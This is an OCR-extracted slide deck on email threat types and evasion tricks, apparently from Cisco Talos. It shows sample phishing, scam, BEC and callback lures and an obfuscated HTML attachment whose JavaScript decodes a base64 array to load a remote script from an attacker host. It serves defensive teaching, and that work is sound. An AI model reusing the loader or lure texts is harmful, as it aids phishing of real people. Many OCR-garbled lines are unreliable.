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The Importance of Email Securit
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Email Client Market Share

Apple 50.01
Gmail
Outlook
Yahoo Mail

Google Android

Outlook.com
Thunderbird | 0.24
Samsung Mail | 0.11
Web.de | 0.09

GMX | 0.08

Email Client

Usage Percentage

Cisco
Calculated from over 1 billion opens intmus Email AnalyticSn August 2024 (sourcétmus.com).



https://www.litmus.com/email-analytics

Spam: The Unwanted Emails We Love to Hate

o o Do Do I

Unsolicited emails that often contain commercial
messages or website links.

Messages you didn't ask to receive.

They attempt to persuade recipients to take some
action.

They are not necessarily threats.
They can be very difficult to filter out, and they

often clog up inboxes and slow down email serverds

Cisco



It all began with an email!

A An outstanding percentage (>90%) of cyberattacks start with an email.
A Most notable examples:

A Operation PhistiPhry
A RSA data leak

A Dyrephishing scam
A The Sony Pictures data leak

Cisco



Main Email Threat Types



Phishing

A An email threat that heavily relies on social engineering to mislead
users into performing specific actions.

A ¢KS GdFrO1SNQaE LINAYINE 3I21 Y

A Stealing financial information (e.g., bank account number, credit
card number)

A Stealing system login credentials (e.g., username, password)
A Alternative goal:

A Tricking users to download and install malicious files

I.T. SAYS To LooK ouT FoR PRISHING

EMALLS. CLICKING THEM ULD OPeN

UP A CAN of WoRMS. ol |
o, LET S ADJoURN

THi1s MEETING AND
START cLicKiING!
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Phishing

June 1, 2024 at 4:16 AM

- Please confirm to continue.
To:

Please note _authentication expires 01 June, 2024.

Please continue to keep or change your password.

Regards,

Cisco



Scam

A An email threat that is designed to deceive the recipient into sending money or providing personal informatic

ALIQa a2YSiAYSa OIFftftSR | GLKAAKAY3I ao0lYé (G220

Yesterday at 7:26 PM
Attention: Beneficiary, ATM Master Card /Bank Draft
To:

POST OFFICE COURIER COMPANY

Mobolaji Bank Anthony Way, lkeja.

Lagos Nigeria.

Attention: Beneficiary, ATM Master Card /Bank Draft

This is Post Office Courier Delivery Company of Nigeria, the Management of this company, wishes to inform you that, we received a Parcel containing a Bank Draft/an ATM Master Card valued $10.5 million United State Dollars, with some vital documents attached on it, for safety delivery to Your home address in your country, within’ the next 72
hours as soon as we Hear from you. This is (payment office) | am directed to inform you that your payment verification and confirmations are OK.

Full names..

Parcel owner address..

Waiting for your urgent response as expected:

Yours sincerely .

Mr. Johnson Uzo .
EMAIL :johnsonuzo501 nail.com
Dispatch Manager Post Office Company.

Cisco



Scam

WINNER (2024)!
To:

Publishers Clearing House
Attenti Winner,

Congratulations on your confirmation as the legitimate

beneficiary of your U.S. PCH Lottery prize of USD 2,850,000.00 in
cash and a 2024 Ford Bronco Sport in our 2024 Publishers Clearing
House Lottery. To claim your winnings, please get in touch with

the delivery company using the details provided below.

Number Draw: 05, 07, 10, 03, 12, 43
Insurance Number: 435/453L/T011
Ticket number: 719-226-1319

Serial number 902-66

The delivery company requires the following information from yoi
Name, Home Address, Age, Telephone, Occupation, Nationality,
Country of residence.

Contact Mr. Craig Peterson for any inquiries or assistance.
General Enquiries:
Email: Purolator

| anticipate your swift response and collaboration to ensure the
timely delivery of your funds.

Congratulations once again.

Best Regards,

Andrew Goldberg
PCH Lotto Official

Copyright 2024 Publishers Clearing House. All Right Reserved
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Email Account
Compromise (EAC)

A An email threat where attackers use various
tactics (e.g., password spray, phishing, and A
YIf 6l NSO 02 OZ2YLINRYAAS (
accounts, gaining access to legitimate
mailboxes.

ALIQa Fftaz2z (y26y | a SYI Af

Dear, customer
We recently detected an unsafe Log-In to your Chase account.
As a safety protocol we have temporarily suspended your account.

During this limitation you will not be able to Access your account,

make/accept funds, withdraw available funds.

To Protect your account please confirm your identity as soon as this

email is received.

© 2024 JPMorgan Chase & Co..
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Business Email Compromise (BEC)

A An email threat aimed at causing financial loss to a business, normally by tricking victims into sending mone
 OO02dzy il dzy RSNJ I GG O1TSNEQ O2YyGNRf o
A BEC and EAC are very intertwined.

A FBI has been tracking the EAC and BEC threats as a single threat type since 2017.

AS September 20, 2024 at 11:58 AM
TIME SENSITIVE

To:

Hello Jill,

Re-confirm you phone number, I'm trying to reach you. Thanks.

Cisco



Vendor Email Compromise (VEC)

A +9/ Aa | AQLISOATAO .9/ UGUKNBIG 6KSNB GKNBIFG | O

threads to convince a supplier to redirect outstanding payment to an illicit bank account.
A Threat actors impersonate an individual at a trusted vendor organization.
A VEC email threats capitalize the trusted relationships between customers and their vendors.

BG June 7, 2024 at 2:57 AM
ACCOUNT UPDATE INFORMATION

To:

Greetings

Moving forward please We are no longer with that bank see attached the new payment policy stating our bank payment see details to process opened and pending invoices due for payment this week and in the future.
Note: We received a bogus check from another vendor which had our account flagged on Friday. We are here by opting out from check.

All payments should be made payable via ACH/WIRE to our account as attached

We are currently having issues with our cashflow

We have a lot of invoices long overdue

Can you please confirm the next payment date from your AP.

Jim
Vice President, Operations

Cisco



MalSpam

A Malware that is delivered via email messages is known as Malware Spafal@pan).

A A few examples:

Melissa virus Is recognized to be the first malware widely distributed by email in 1999.
ILOVEYOU computer worm that was sent to millions of people in 2000.
NanoCorefirst observed in 2013, was delivered via phishing emails.

Agent Tesla which was first appeared in 2014 and surged in the 2020s when it was leveraged fetCOVID
themed phishing campaigns.

To To o o

EEEEEEEEEEEEEE
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The Role of Social Engineering

A Social engineering techniques are used extensively is most
email threats.

A Human hacking: relying on psychological manipulations 1
trick users into making security mistakes or giving away "
sensitive information.

A Most popular techniques: -
AQELI 2A0AY3 + GAOGAYQa RIS
-

A Leveraging intimidation and urgency to drive action -
A Hiding attacks within popular events =

‘ ’
A Impersonation (e.g., brand impersonation, sender ONLY YOU ? )

domain impersonation) FE’&PREVENT SOCIAL ENGINEERING
A | ol

F -
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Email Threat Trends



BEC & VEC

July 30, 2024 at 5:35 AM
Request
To:

Can | have a quick conversation with you,| need you to reply to this mail as soon as you receive it, also drop me your WhatsApp number for a quick chat. Thank you.

Regards.

Derek Neldner,
CEOQ.

August 28, 2024 at 7:59 AM
Ccw g

Urgent request
To:

Hey there, eh! Are you a bit less tied up right now, eh? I've got a confidential task for you to handle. I'll be in a meeting shortly, so no calls, eh? Could you kindly respond via email?

Christian Wulff
CEO
Take care, eh!

Cisco



BEC & VEC

August 30, 2024 at 12:17PM
Respond ASAP
To:

Hi Maria

How's it going?
Kindly confirm your cell phone number.

Thank you,
Sarah Macdonald
CEO & President, C.L. Smith

Sent from my mobile device.

Cisco



QR Code Phishing

7AM

tember 9, 2024 a

=?UTF-8?Q?Enroll Now: 2024 Cisco Benefits Enrollment Deadline Approaching?=

v

To:
é

Save All (42 KB)...

B Cisco Benefits Enroliment.pdf

Quick Look

urces ate
September 9, 2024

Attached document include a Benefits Enrollment Form and a Guide to complete your

Cisco



QR Code Phishing

Authentication Notification

MN
Reminder: 2-Step Authentication - 08 January, 2024 06:42:47 AM

To:

Save All (49 KB)...
B tg7d1.webp

Export to Photos

Microsoft Quick Look
Authenticator

Microsoft Corporation

New Authentication for

Your account authentication will expire 08 January, 2024

please secure your account on or before 09 January, 2024 to avoid issues with mail
malfunction and avoid error with mail retrieval or while mailing out

Please scan the Qr above to authenticate your account securely using your mobile device

« Open Mobile Camera
« Scan Qr code

- Autnenticate [

Thanks
t

B
| —

Maximize the everyday

th M line prot

Cisco



Phishing via File Sharing

ine 5, 2024 at 12:23PM
BL :
Re: 06.05.2024_KATSIROUBAS PRODUCE_#393750_Spreadsheet

To:

2
I i vited you to view

afile

Please let me know if you can't open the file.

Thanks,
|

Senior Accountant

Cisco



Phishing via File Sharing

Signature Required: Panerabread Benefits Assesment
To:

Save All (1.9 MB)...

B Bbff66 48877773d.jpg

Export to Photos

Quick Look

Your document has been completed to review and sign

Al parties have been completed.

Download the attachment above to review and electronically sign the pending document
When DocuSign is applied, there is no requirement for a paper copy to be produced

Thank You.

Do Not Share This Email

Cisco



Phishing via Brand Impersonation

We've detected some suspcious debit card activity ! Date:2024-06-06
To:

Suspicious transaction

Amount: $171.15

2024-06-06 09:08

Transaction date: (UTC-5)

Status: Hold

We've detected some suspcious debit card activity and te
mporarily blocked online access to your account for security r
easons.

To secure your account, verify your identity and choose
'‘Approve' or 'Decline’ below to proceed with the transaction.

€ Ccd

Due to concerns, for the safety and integrity of Wells Fargo ¢————
Bank account users, we have issued this warning message.

Cisco



Phishing via Brand Impersonation

MP January 3, 2024 at 10:37 AM
SECURITY ALERT! Cleansing Needed!

To:

REMOVE THE VIRUS FROM YOUR DEVICE

ATTENTION:
Your Google account may be at risk

We have noticed multiple suspicious activi
24 hours. Your Google account may be suspended

How to Secure Your Google Account

Tap the button below to proceed to security check.

Cisco



Phishing via Brand Impersonation

Re: Peacock TV
To:

Congrat Peacock TV

peacock:

Your Membership has expired!

peacock:

Dear customer,
Your membership has expired.

But, as part of our loyalty program, you can now extend for 80 days for
free. Enjoy free 2-day shipping, Popular movies and hit tv-shows - all

available with your Prime membership.

Extend for Free

* After signing up, you have to insert your credit card details for validation of your account
We will not withdraw any amount.

https:// blog.talosintelligence.coffrom -trust-to-trickery-brandimpersonation/

Cisco



TelephoneOriented Attack Delivery (TOAD)

January 3, 2024 at 8:21AM
payment summary info
To:
Save All (59 KB)...

INVOICE B GGCXZQ124853.JPG

Export to Photos
Quick Look
Please note that your order for 2 years of Geek Squad Protection Plan has

been processed from our end. An amount of $269.00 has been deducted
from your account. It may take up to 24 hours to reflect in your account.

Dear Customer,

Didn't place the order? Reach helpline - +1 814 2717926 «——

Product name Geek Squad Protection
Total amount $269.00
Transaction date January 03, 2024
Order number GSDCX437544810
Order status Delivered

If you face any issue with the product or if you have any query or if you

want to cancel it, then you have to contact us within 24 hours to our
help desk number +1 814271 7926.
Thank you,

Bill Desk.

Cisco



TelephoneOriented Attack Delivery (TOAD)

JA

Your invoice for the renewals
To:

January 3, 2024
Transaction 1D: 8019HQ8GSI1Z74BG3

You have made a payment of $298.99 USD to Geek Squad. ¢——
ppo! 1(814) 271-7926 «——

It may take a several minutes for this transaction to show up in your account history
ller Instructions to seller

S T
ST nrid e Sl e Auto payment mode selected for future

Renewals.
Payment Status
Amount paid in full

$ 298.99

Receipt ID: G-15YTC7QERNN091815 $298.99
$298.99
Problems with this transaction?

You have 24 Hrs from the date of the purchase to issue a dispute in the Resolution Center

4) 271-7926.

Contact our support Team: +1 (814) 271-7926.

Save All (65 KB)...
B ikfhgsfgufrgf. PG [P EE—

Export to Photos
Quick Look

January

Cisco



TelephoneOriented Attack Delivery (TOAD)

HAPPINESS ASSURED

Save All (767 KB)...
B JPGQ_fgdfga6B7dfgsds.png RS

Export to Photos.
Quick Look

+1(808) 216 0972 «—
Your membership is scheduled for renewal on st 28,2024
Geek Squad Membership Notice

Dear Valued Customer,

Thank you for choosing Geek Squad services. Here are the details of your current subscription:

Subscription Details:

- Service: Geek Squad Membership
- Payment Method: Automatic Debit
- Order Number: 714GEEKJQSA
- Invoice Number: JQSAK687325

- Subscription Fee: $499.99 annually

The amount will be appearing on your financial statement within 24 hours.

If you have any questions or wish to cancel your subscription, please contact customer support directly.

+1 (808) 216 0972

Ensure you use official contact methods to avoid scams.

gard

quad team
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TelephoneOriented Attack Delivery (TOAD)

January 5

Purchased Done

To:
&

v

Save All (438 KB)...

B HBRF-6382-OQPL-9936.jpg B EE—

Hello,
Thanks For Choosing Norten.

Export to Photos

INVOICE NUMBER: #HBRF-6382-0QPL-9936
INVOICE DATE: 05-01-2024 Quick Look

Reach Us: -+1 (805) 633 0536 <¢———

Thank you again for choosing Nerton Life lock and we look forward to
serving you in the future!

Product Quantity Tax (%) Amount

Norton Life lock Premium 01 $0.00 §372.99
Protection Plan

Subtotal §372.99

Please be advised that if you did not authorize this order and wish
to cancel, it is important to contact us immediately within 24 hours
of receiving the confirmation email. Please note that terms and
conditions apply, and failing to contact us within the specified time
frame may result in delays or complications in the cancellation
process.

Cisco



TelephoneOriented Attack Delivery (TOAD)

Receipt #65748768
To:

Save All (429 KB)...
B 346347.png

Export to Photos
Quick Look

Mastercard

Master Card Payment!
Thank you for using your MasterCard to purchase a Master E-Gift Card online,
totaling $550.00 from the same credit card on recerd.

If you have any questions or concerns about this transaction, please feel free to
contact our customer support team for prcmpt assistance.
Details:

Description
Master E- Gift Card

Date: January 30th 2024
Order Id: GS6499378
Online Purchase

Automatic Payment

Total: $550.00

Card is designed to ate automatic billing when the card
balance falls below a specific threshold.

Should you encounter any difficulties with this transaction, kindly contact our
dedicated support team promptly at

Your satisfaction is our priority, and we are here to assist you

Thanks & Regards,

Master Card Team

Cisco



TelephoneOriented Attack Delivery (TOAD)

ow
Your Recent Purchase EBKGOA

To:

Save All (217 KB)...
090_OrderDetails_NTLJWS55L.pdf B e

Quick Look

McAfee

RECEIPT ID ODEUSDCVK
PRODUCT VERSION Secure Pro - 141 year

24 HOUR HELP DESK +1(888) 322 5451 4—

TRANSACTION DATE uary 8', 2024

Your Secure Pro plan has been successfully upgraded and
you've been charged as per the auto-pay agreement to extend

the device auto-renewal contract

PRODUCT TYPE: SECURE PRO (1+1 year) pre-activated license
LICENSE TERM: 2 years
VERIFICATION ID: 1904489066445

TOTAL PAID:  $335.77 USD (including applicable taxes)

This software has been activated for NN

Do you need help with installing this product or have you

changed your mind about this subscription?

Reach out to our helpline at 888-322-5451

Cisco



Evasion Trends



URL Shortening

A URL shortening services conceal the target destinatienlRL.
A Consequences:
A For phishing targets, they can fall victim easier as the final page is not visible.

A For defenders, the raw extracted URLs are normally submitted to reputations services, and since the raw
shortened in this case, it can create challenges.

—_T@ac986c-7753-492a-8b8f-all22bf276d0_
Content-Type: text/plain; charset="iso-8859-1"

Please view this email in html mode.

—_f@ac9e6c-7753-492a-8b8f-al122bf276d0_
Content-Transfer-Encoding: 8bit

—_f0ac906c-7753-492a-8b87-a1122b1276d0_
Content-Type: text/html; charset="utf-g"

<html>
<head>
<title></title>
- i 0, 1 0, </head>
[COVID19]! , Pay-Off Your Mortgage in 50% LESS Time from 2.98% Spodysanbsp}</body>
</html>
To: <title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><a href="http://fedemfleergale.com/pDUtEA7nEx7aU_NufhYVYPe1T-T7DHivZBp6zH7GD2LcnvGWXQ" style="
a><l—
forgot university gather captured seven film electricity

—_f@ac9e6c-7753-492a-8b8f-a1122bf276d0_

—_f@ac9e6c-7753-492a-8b8T-al122bf276d0_

Please view this email in html mode.

—_f@ac906c-7753-492a-8b8f-al122bf276d0_

worth paris quarter dead

exciting

separate view sense series mount
concerned
—_f@ac9e6c-7753-492a-8b8f-al122bf276d0_

—_f@ac986c-7753-492a-8b8f-al122bf276d0_
Content-Type: text/html; charset=IS0-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

<html><head><body><a href="http://tinyurl.com/7ashbdsa9">Click me</a></body></head></html> c I s c o



URL Shortening

A A few popular shortening services

Bitly (bitly.com): Free for up to 5 links/month (and 2 QR codes/month)

TinyURI(tinyurl.com): Free for up to 100 links/month without analytics
Rebrandly(rebrandly.con): Free for up to 10 links/month (and 10 QR codes/month)
Sniply(sniply.i9: Free for up to 250 links/month in through a-tldys trial plan
Shortenworld(shortenworld.con): Free for up to 1,000 links/month (and 200 QR codes/month)
Shorter.me(shorter.még

Ln.run(In.run)

Come.a¢come.ag

o To To To T T To T
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https://bitly.com/
https://tinyurl.com/
https://www.rebrandly.com/
https://sniply.io/
https://shortenworld.com/
https://shorter.me/
https://ln.run/
https://come.ac/

URL Shortening

Number of Phishing or Scam Emails with Raw Shortened URLSs via Different Services
(Jan- Sep 2024)

rinyur.
ciy |

Cisco
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URL Encoding

A Threat actors use percesncoding to change the original URL and evade reputations services and/or email
gateways.

A Most popular methods:
A Singleencoding: one encoding technique.
o Percentencoding
0 Hexencoding
0 Base64encoding

A Multiple-encoding: a combination of different encoding techniques.

Cisco



URL Encoding: PercelBhcoding

L
4 Trusted Tools for Every Job [1477527]

To:

https%3A%2F%2Farertuhidvbrtu
yolv.khomasdal.com%2F4SfuON
138135YHdO203tgmefkyvvp159
ODFPWDEZHRVILSRF575218%2F
269050d32&data=05%7C02%7C
kosman%40pasenate.com%7C2
ede706534ab40a3fb1b08dcdefl
a49b%7C93627e0e68cc4884b5¢c
889613a97e74e%7C0%7C0%7C
638630377587135441%7CUnkn
own%7CTWFpbGZsb3d8eyJWIjo
IMC4wLjAWMDAILCJQIjoiV2IuM
zIliLCJBTil6lk1haWwiLCJIXVCI6Mn
0%3D%7C60000%7C%7C%7C&s
data=Ls3roteRz5tUtHhACZzLVALY;]
ad9i6i71zs5g5iBj9tg%3D&reserv
ed=0

Get Professional Results with Kobalt Tool Set!

It will take you only a minute to receive this fantastic prize - Kobalt Tool Set

LOWES
» ABRAND NEW &«

Kobalt Tool Set

CongratUIations!

Share your valuable insights and win big! You've been
f Juick survey about store promotions at Lowe’s
participating, you could win Kobalt Tool Set!
To claim, simply take this short survey about your
experience with Lowe's.

GET STARTED NOW
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URL Encoding: Baseb&4coding

[
4@ [EXTERNAL]Your cart has expired but there are still more products to love!
To:

Check out these products recommended just for you! |

P—

PCRICHARDX SON

Over 100 Years of Honesty * Integrty * Refiabisty

https:// post.spmailtechnolo.co YOUR CART HAS
m/f/a/SRkm9G0Jz3XCg63Y 1vall EXPIRED BUT THERE’S
A~~IAATkXQA/RgR01ZotPORQ STILL MORE TO LOVE!

HROcHM6Ly9wY3JpY2hhcmRzb2 =
4uZW1lhaWwtc3NsLmNvbS9IbW
FpbC9saW5rLmpzcD9zPWR0X3

nZIgxNzI20TQ3MTAYMDAzImw HiThere,

Thanks for shopping with P.C. Richard & Son. Your cart has expired but there are

9 M SZ h PT ,\m NWYO I KZU SthN m still more products to love! Check out these products recommended just for you.
NkpoUIlYbHBIcmV6MOByaXNpb shipnde
mdncm91bmQub3JInWAQAAAA

A
- Q

MIXZN3KI04 4 ANG Yamal
Amp Kit with RCA 4 St with i Wy In-CeI"ng

View ltem View ltem
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URL Encoding: Multiplencoding

1 September 4, 2024 at 4:16 PM
Remittance - 9/4/2024 Ref:[0183066494]
To:

Save All (650 bytes)...

Remittance Advi . . ;
_S'T;;I e ayoay ] B Remittance Advise _0183066494.html

Quick Look

:alnut g ["aHR@OCcHME ',

‘Ly9@aGVib®,

G9jaz’,

dlZWsuY29t ", . .
wnecme,  Multiple characters can be used to determine the
"0DcONz", - : . .

wwca, — poundaries of strings in JavaScript:

‘M?YiNjY;gZ‘ ’ '

‘TZjNj ",

'kyZiNmNG ',

Sy, DOUDle Quotes (")
'ZjUSNmY ',

*Z200]WNzI3", S|ng|e QUOteS (')

'OTZINJE3",
"NjYINz", o N\
\gyzTY ", Backticks ( )
"zNmY2Z",
"DImNzU@ ",
"NDUIN ",
‘zAMZ,
‘czNDU20"',
'TImLW11b",
"GJlcn”,
"J5"];
document .documentElement.appendChild(Object.assign(document.createElement ("script"),{src:atob(walnut.join(""))}));
mlserry * Email address of the victim
<cn style="display:none;'">She decorated the cake with colorful frosting.</cn>
— ></ >
</ >

Cisco



URL Encoding: Multiplencoding

| September 4, 2024 at 4:16 PM
Remittance - 9/4/2024 Ref:[0183066494]
To:

Save All (650 bytes)...

Remittance Advi : . :
_32'},'3323294_‘1.'.5;. & B Remittance Advise _0183066494.html

Quick Look

<

g aHROcHM®6Ly90aGVibG9ja2dIZWsuY 29tL 3JlczQONC5waHA/Mi020DcONzQ3MDczM2EyZjJmNjg3MjY1

<
walnut ['aHROCHMG * ,

g jNjkyZjNmMNjg3NDcONzA3MzNhMmYyZjUSNmYzODJINzI3OTZINE3NjY1NzgyZTYzNmY2ZDImNzUONI
e MzczNDU20TJImLW11bGJicnJ5

"S5waHA/Mi0@2 ",

"0ODcONz",

"Q3MDczM2”, d
Lo Base64Decode
'MjYINjYyZ',

"TZjNj ",

obeon: hxxpg://] theblockgeek]com/res444[.Jphp?2
S 68747470733a2f2f687265662e6c692f3f68747470733a2f2f596f382e72796e617665782e63616d2f75445!

“z0ODJINzI3",
JOTZINGES", 637345692mulberry
NjY1Nz",
'gyZTY"',
" 27",
Dymzve HexDecode
"NDUIN" ,
“zA2Mz,
'czNDU20 ", o .
TInito’, hxxp$://] href[.]li/?hxxp$://]Yo8[.]rynavex.Jcom/uDUpcsHEi

cn”,
“J58]
document .documentElement.appendChild(0Object.assign(document.createElement("script"),{src:atob(walnut.join(""))}));
mulberry - ° g
/
: styIZ:“dispLay:none;">She decorated the cake with colorful frosting.</ci>

</
Y < > >
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URL Redirection

A Open redirect vulnerability:
A One of the most common ways to evade detection in phishing emails.

A It can be used to manipulate the web application to redirect users to a different URL other than the one tt
Intended.

A They result from insecure input validation on a website or a service that allows for parameter tampering.

http://foo.com/resources/
?url=http://bar.com

user clicks on

user gets redirected
foo.com/resources

to bar.com

Cisco



URL Redirection

Update: Review New Sharepoint File
To:

This link will expire soon.

You have received a document for@{Bluebe: SharePoint

Statement.txt

% o @ W P

This email was sent from a nolification-only addres that cannot accept incoming emails. Please do
not reply to this message.
°

Copyright 2024 Microsoft Corporation
@

Microsoft Gorporation, One Microsoft Way, Reddmond WA®

Cisco
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September 20, 2024 at 9:19 AM

DP .
RE: IT Service Portal

To:
Reply-To:

Dear Email User

Your Outlook account version has expired, please Click IT Service Portal to update to the new secured version to avoid spam messages.

Any Outlook accounts that have not been updated within 48 hours will be classified as inactive, which may result in account deactivation/closure.

Thank You
IT Service Portal

Cisco
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Cc
Your Order 2BBX4PBP is Complete.
To:

https%3A%2F%2Fvq505zni[ r[jesst

1[.]Jawstrack.Jme %2 FL 0%2Fhttps%3A%252F

%252knk[.]Jedgepilof .|comP252Fs%252Fe2 Order #2BBX4PBP
2819d0%252FsAwWCO1bNUEmM1l_YOHk1R3w%
253Fu%3Dhttps%3A%252F%252Finstoc[.Jme

%252F%2F1%2F01000192251460e9 Hello I,
Cbbde414d9dG4995bb1f_Cd55C3C528b'b Thank you for your order. Click on the link below to Download Documents.
000000%2F

0_RcXK77AplinQIJMEY_obsxyJE%3D393&dat——
a=05%7C02%7Calyssamclean%40mvalaw[.]Jco

M%7 C6e46f86bebdb4d37699e08dcdche64d5 Order Summary

%7C1b6cbd2d1d5e4f4496f597d4e1f3e5c1%7 1T
C0%7C0%7C638627960473424371%7CUnkn Unit Information

own%7 CTWFpbGZsb3d8eyJWIjoiMC4wLjAw [
MDAILCJQIjoiV2IuMzIliLCJBTil6lkIhaWwiLCJX
VCI6MNn0%3D%7C40000%7C%7C%7CE&SUALA= - s rtematonis vactor 20 iy o th e of ssuance, s your st st says ctrrvie,

, unless
+ AResale Demand Update may be ordered within 60 days from the date of the original completed order.

76011%2FwWWhb%2BCdhbw62BIsY MZkRih4Wr
K4kODY{z53X50Yg%3D&reserved=0

The Sentry Team

Sentry Management is a leader in managing homeowner associations and condominiums since 1975
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